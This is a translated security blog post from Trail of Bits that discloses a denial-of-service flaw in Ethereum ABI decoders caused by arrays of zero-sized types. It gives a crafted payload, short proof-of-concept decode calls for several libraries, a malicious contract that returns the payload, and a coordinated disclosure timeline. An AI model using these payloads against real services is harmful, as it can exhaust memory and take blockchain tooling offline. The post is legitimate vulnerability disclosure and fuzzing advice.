以太坊ABI解析器中的十亿次空值攻击:解析零大小类型导致的拒绝服务漏洞

本文详细分析了以太坊ABI解析器中零大小类型(ZST)导致的拒绝服务漏洞,涉及多个主流库如eth_abi、ethabi、ethers-rs等,并提供了概念验证、漏洞发现过程及协调披露时间线。

十亿次空值 - The Trail of Bits博客

The Trail of Bits博客
十亿次空值
Max Ammann
2023年12月29日
区块链, 漏洞披露

在以太坊强大的区块链技术背后,隐藏着一个区块链开发者面临的较少人知的挑战:编写健壮的以太坊ABI(应用二进制接口)解析器的复杂性。以太坊的ABI对区块链基础设施至关重要,它实现了智能合约与外部应用之间的无缝交互。数据类型的复杂性以及精确编码和解码的需求使得ABI解析具有挑战性。规范或实现中的模糊性可能导致漏洞,使用户面临风险。

在这篇博客文章中,我们将深入探讨一个针对这些解析器的新发现漏洞,让人想起过去困扰XML的 notorious “Billion Laughs"攻击。我们发现以太坊ABI规范在某些部分写得较为松散,导致可能存在易受攻击的实现,这些漏洞可被利用以在eth_abi(Python)、ethabi(Rust)、alloy-rs和ethereumjs-abi中造成拒绝服务(DoS)条件,对区块链平台的可用性构成风险。截至撰写时,该漏洞仅在Python库中得到修复。所有其他库决定通过GitHub问题进行完全披露。

什么是以太坊ABI?

每当链上合约交互或链下组件与合约通信时,以太坊使用ABI编码来编码请求和响应。编码本身不描述自己。相反,编码器和解码器需要提供一个定义所表示数据类型的模式。与C编程语言中平台相关的ABI相比,以太坊指定了数据如何以二进制表示形式在应用之间传递。尽管规范不是正式的,但它很好地理解了数据是如何交换的。

目前,该规范存在于Solidity文档中。ABI定义影响了用于智能合约的语言(如Solidity和Vyper)中使用的类型。

理解漏洞

零大小类型(ZST)是那些在磁盘上存储占用零(或最小)字节但在内存中加载后表示占用大量字节的数据类型。以太坊ABI允许零大小类型(ZST)。ZST可以通过强制应用分配大量内存来处理少量磁盘或网络表示来导致拒绝服务(DoS)攻击。

考虑以下示例:当解析器遇到一个ZST数组时会发生什么?它应该尝试解析数组声称包含的尽可能多的ZST。因为每个数组元素占用零字节,定义一个极大的ZST数组是微不足道的。

作为一个具体示例,下图显示了一个20字节磁盘负载,它将反序列化为数字2、1和3的数组。第二个8字节磁盘负载将反序列化为232个ZST元素(如空元组或空数组)。

如果每个ZST在解析后占用零字节内存,这不会成为问题。但在实践中,这种情况很少见。通常,每个元素将需要少量但非零的内存来存储,导致表示整个数组的巨大分配。这导致了拒绝服务攻击。

健壮的解析器设计对于防止严重问题(如崩溃、误解、挂起或过度资源使用)至关重要。此类问题的根本原因可能在于规范或实现。

在以太坊ABI的情况下,我认为规范本身存在缺陷。它有机会明确禁止零大小类型(ZST),但未能这样做。这一疏忽与最新的Solidity和Vyper版本形成对比,在这些版本中,定义ZST(如空元组或空数组)是不可能的。

为了确保最大安全性,文件格式规范必须精心制作,并且其实现必须严格加固以避免不可预见的行为。

概念验证

让我们深入一些示例,展示几个库中的漏洞。我们将数据负载定义为:

1
2
0000000000000000000000000000000000000000000000000000000000000020
00000000000000000000000000000000000000000000000000000000FFFFFFFF

负载由两个32字节块组成,描述了一个序列化的ZST数组。第一个块定义了数组元素的偏移量。第二个块定义了数组的长度。独立于编程语言,我们始终将其称为负载。

我们将尝试使用ABI模式()[]uint32[0][]通过几个不同的以太坊ABI解析库来解码此负载。前者是空元组的动态数组,后者是空静态数组的动态数组。动态和静态之间的区别很重要,因为空静态数组占用零字节,而动态数组占用几个字节,因为它序列化数组的长度。

eth_abi (Python)

以下Python程序使用官方eth_abi库(<4.2.0);程序将首先挂起,然后以内存不足错误终止。

1
2
3
from eth_abi import decode
data = bytearray.fromhex(payload)
decode(['()[]'], data)

eth_abi库仅支持空元组表示;空静态数组未定义。

ethabi (Rust)

ethabi库(v18.0.0)允许直接从其CLI触发漏洞。

1
cargo run -- decode params -t "uint32[0][]" $payload

ethers-rs (Rust)

以下Rust程序使用ethers-rs库和模式uint32[0][],通过Rust类型Vec<[u32; 0]>隐式对应。

1
2
3
use ethers::abi::AbiEncode;
let data = hex::decode(payload);
let _ = Vec::<[u32; 0]>::decode(&hex_output.unwrap()).unwrap();

它容易受到DoS问题的影响,因为ethers-rs库(v2.0.10)使用ethabi。

foundry (Rust)

foundry工具包使用ethers-rs,这表明DoS向量也应该存在其中。结果确实如此!

一种触发漏洞的方式是通过CLI直接解码负载,就像在ethabi中一样。

1
cast --abi-decode "abc()(uint256[0][])" $payload

另一个更有趣的概念验证是部署以下恶意智能合约。它使用汇编返回与负载匹配的数据。

1
2
3
4
5
6
7
8
9
contract ABC {
    fallback() external {
        bytes memory data = abi.encode(0x20, 0xfffffffff);

        assembly {
            return(add(data, 0x20), mload(data))
        }
    }
}

如果合约的返回类型被定义,它可能导致CLI工具中的挂起和巨大内存消耗。以下命令在测试网上调用合约。

1
2
3
4
cast call --private-key \
0xac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80 \
-r http://127.0.0.1:8545 0x5fbdb2315678afecb367f032d93f642f64180aa3 \
"abc() returns (uint256[0][])"

alloy-rs

alloy-rs(0.4.2)中的ABI解析器在解码负载时遇到与其他库相同的挂起。

1
2
3
use alloy_dyn_abi::{DynSolType, DynSolValue};
let my_type: DynSolType = "()[]".parse().unwrap();
let decoded = my_type.abi_decode(&hex::decode($payload).unwrap()).unwrap();

ethereumjs-abi

最后,ABI解析器ethereumjs-abi(0.6.8)库也容易受到攻击。

1
2
3
4
var abi = require('ethereumjs-abi')
data = Buffer.from($payload", "hex")
abi.rawDecode([ "uint32[]" ], data)
// or this call: abi.rawDecode([ "uint32[0][]" ], data)

其他库

go-ethereum和ethers.js库没有此漏洞,因为它们隐式禁止ZST。这些库期望数组的每个元素至少32字节长。web3.js库也不受影响,因为它使用ethers-js。

漏洞是如何被发现的

测试此类漏洞的想法是在我偶然发现borsh-rs库中的一个问题后产生的。该Rust库尝试在常量时间内解析ZST数组,这导致了未定义行为,以缓解DoS向量。库的作者最终决定完全禁止ZST。在另一次审计中,一个自定义ABI解析器在解析ZST时也有DoS向量。鉴于这两个问题不太可能是巧合,我们调查了其他ABI解析库以寻找此漏洞类。

如何利用它

此漏洞是否可利用取决于受影响库的使用方式。在上述示例中,演示目标是CLI工具。

我没有找到一种方法来制作触发此漏洞的智能合约并将其部署到主网。这主要是因为Solidity和Vyper程序在其最新版本中禁止ZST。

然而,任何使用上述库之一的应用程序都可能易受攻击。一个可能易受攻击的应用程序示例是Etherscan,它解析不受信任的ABI声明。此外,任何从合约获取和解码数据的链下软件如果允许用户指定ABI类型,也可能易受此漏洞影响。

模糊测试你的解码器!

解码器中的漏洞通常很容易通过模糊测试解码例程来捕获,因为输入通常是字节数组,可以直接用作模糊测试器的输入。当然,也有例外,如最近的libwebp 0-day(CVE-2023-4863),它未通过OSS-fuzz中无数小时的模糊测试发现。

在Trail of Bits的审计中,我们采用模糊测试来识别漏洞,并教育客户如何进行自己的模糊测试。我们旨在将我们的模糊测试器贡献给Google的OSS-fuzz以进行持续测试,从而通过优先处理关键审计组件来补充手动审查。我们正在更新我们的测试手册,这是一个为开发者和安全专业人员准备的详尽资源,以包括优化模糊测试器配置和自动化分析工具在整个软件开发生命周期中的具体指导。

协调披露

作为披露过程的一部分,我们向库作者报告了漏洞。

  • eth_abi (Python):以太坊拥有的库通过私有GitHub咨询修复了漏洞。漏洞在版本v4.2.0中修复。
  • ethabi (Rust) 和 alloy-rs:crate的维护者要求我们在禁运期结束后打开GitHub问题。我们在此处和此处创建了相应的问题。
  • ethereumjs-abi:我们没有收到项目的回应,因此创建了一个GitHub问题。
  • ethers-rs 和 foundry:我们通知了项目关于它们使用ethabi(Rust)的情况。我们期望它们尽快更新到ethabi的修补版本或切换到另一个ABI解码实现。一般社区将通过发布RustSec咨询(针对ethabi和alloy-rs)和GitHub咨询(针对eth_abi (Python))来通知。

披露时间线如下:

  • 2023年6月30日:首次联系ethabi(Rust)、eth_abi(Python)、alloy-rs和ethereumjs-abi crate的维护者。

  • 2023年6月30日:alloy-rs维护者通知应创建GitHub问题。

  • 2023年6月30日:eth_abi(Python)项目的首次回应和内部分类开始。

  • 2023年8月2日:为eth_abi(Python)在GitHub上创建私有安全咨询。

  • 2023年8月31日:eth_abi(Python)发布修复,未公开引用DoS向量。我们后来验证了此修复。

  • 2023年12月29日:发布此博客文章以及在ethabi、alloy-rs和ethereumjs-abi存储库中的GitHub问题。

如果你喜欢这篇文章,请分享:
Twitter
LinkedIn
GitHub
Mastodon
Hacker News

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计